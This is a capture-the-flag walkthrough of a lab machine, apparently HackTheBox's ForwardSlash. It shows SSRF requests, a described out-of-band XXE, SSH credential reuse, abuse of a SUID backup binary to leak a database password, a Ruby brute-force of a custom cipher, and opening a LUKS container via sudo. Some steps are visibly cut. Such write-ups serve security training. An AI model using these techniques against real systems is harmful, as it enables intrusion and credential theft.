TL;DR: There is a web application with a parameter vulnerable to file
disclosure, directory traversal and SSRF (not LFI/RFI). Then we can exploit
an OOB XXE over FTP to steal FTP credentials. Then with credential stuffing
we land on the box via SSH. On the system we exploit a SUID binary to read
a configuration file that leaks a database password. With credential stuffing
again we can elevate to a more powerful user via SSH. Then we have to break
a custom crypto algorithm to decrypt a ciphertext. The decrypted cyphertext
gives the password of a LUKS container. Then we can mount the container
with sudo permissions and get the root SSH private key.
Let's start by scanning port and services with nmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# Nmap 7.80 scan initiated Fri Jun 12 13:17:07 2020 as: nmap -sSVC -p- -oA nmap_full 10.10.10.183 Nmap scan report for 10.10.10.183 Host is up (0.022s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA) | 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA) |_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Did not follow redirect to http://forwardslash.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 12 13:17:36 2020 -- 1 IP address (1 host up) scanned in 29.63 seconds
$ curl http://forwardslash.htb/note.txt Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.
-chiv
So if there is a backup site it may be online too. Let's find it by bruteforcing virtual hosts with subdomains:
Hopefully the url parameter is not only vulnerable to file disclosure and path
traversal but also to SSRF (Server Side Request Forgery).
Maybe locally this will be allowed, so let's try the following request in burp:
1 2 3 4 5 6
POST /profilepicture.php HTTP/1.1 Host: backup.forwardslash.htb ... Cookie: PHPSESSID=mbmjmv76c2veso4c1ihneuh5bt
url=http://backup.forwardslash.htb/dev/
Yes! We obtained the HTML code of the dev endpoint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<html> <h1>XML Api Test</h1> <h3>This is our api test for when our new website gets refurbished</h3> <formaction="/dev/index.php"method="get"id="xmltest"> <textareaname="xml"form="xmltest"rows="20"cols="50"><api> <request>test</request> </api> </textarea> <inputtype="submit"> </form>
</html>
<!-- TODO: Fix FTP Login -->
It's talking about XML and FTP login as said in the deface.
Let's try to send a default request to the XML api:
1 2 3 4 5 6
POST /profilepicture.php HTTP/1.1 Host: backup.forwardslash.htb ... Cookie: PHPSESSID=mbmjmv76c2veso4c1ihneuh5bt
But this doesn't work. But let's remember the FTP hint!
Maybe the XXE is OOB (Out Of Band) only. In general, working with FTP for OOB is far better
than HTTP as it wil allows us to retrieve the whole file rather than the 1st line.
Here I don't think we will retrieve files but rather credentials as it's said there
is a FTP autologin feature. So we won't need a complex payload:
$ ssh chiv@forwardslash.htb The authenticity of host 'forwardslash.htb (10.10.10.183)' can't be established. ECDSA key fingerprint is SHA256:7DrtoyB3GmTDLmPm01m7dHeoaPjA7+ixb3GDFhGn0HM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forwardslash.htb,10.10.10.183' (ECDSA) to the list of known hosts. chiv@forwardslash.htb's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
chiv@forwardslash:~$ backup ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ----------------------------------------------------------------------
Current Time: 18:37:43 ERROR: 01430555472f086a6633fad6bfc18d98 Does Not Exist or Is Not Accessible By Me, Exiting...
There is a hash in the error output, let's identify the hash type with haiti:
If we execute the script we have no error now and the file is read:
1 2 3 4 5 6 7 8 9 10
chiv@forwardslash:/tmp/noraj$ ./time.sh ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ----------------------------------------------------------------------
Current Time: 18:51:46 noraj test
So we can read a file owned by pain now by modifying our scipt:
<?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'pain'); define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704'); define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */ $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection if($link === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } ?>
pain@forwardslash:~/encryptorinator$ sudo -l Matching Defaults entries for pain on forwardslash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/
There is a note file talking about a crypto software.
1 2 3 4 5 6 7 8
pain@forwardslash:~$ cat note.txt Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv pain@forwardslash:~$ ls -lhA encryptorinator/ total 8.0K -rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext -rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py
Also it seems that pain is in the backupoperator group.
1 2
pain@forwardslash:~$ id uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)
So we can now see what is in /var/backups/recovery/:
1 2
pain@forwardslash:~$ ls -lhA /var/backups/recovery/encrypted_backup.img -rw-r----- 1 root backupoperator 954M Mar 24 12:12 /var/backups/recovery/encrypted_backup.img
An encrypted backup! We must take a look to the crypto-soft to break that.
Let's look a this ugly python script encrypter.py:
It's a custom block cipher, so the only things that matter is to find the key
lenght and the first character of the key which much more simple than guessing
the exact key. Maybe the beginning for the decrypted text will be messed up
but with luck we won't need it.
(1..100).each do |key_length| ('a'..'z').each do |c| guessed_key = c * key_length d = decrypt(guessed_key, ciphertext) if words.any? { |word| d.include?(word) } puts "Approximate key: #{guessed_key}" puts "Partially decrypted text: #{d}" found_key = true break end breakif found_key end end
Now let's run it:
1 2 3
$ ruby bf.rb Approximate key: ttttttttttttttttt Partially decrypted text: �$7C��q8��4�l'you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf�
The crypto part is not interesting me so I won't develop the explanation more
than that but you can take a look at IppSec video
to see the reasoning.
Now it's pretty clear we have to mount the LUKS container with the password we
just found.
Let's see the commands we can run as root again:
1 2 3 4 5 6 7 8
pain@forwardslash:~/encryptorinator$ sudo -l Matching Defaults entries for pain on forwardslash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/
First we open the LUKS container and create a mount point.
1 2 3 4 5 6
pain@forwardslash:~/encryptorinator$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup Enter passphrase for /var/backups/recovery/encrypted_backup.img: cB!6%sdH8Lj^@Y*$C2cf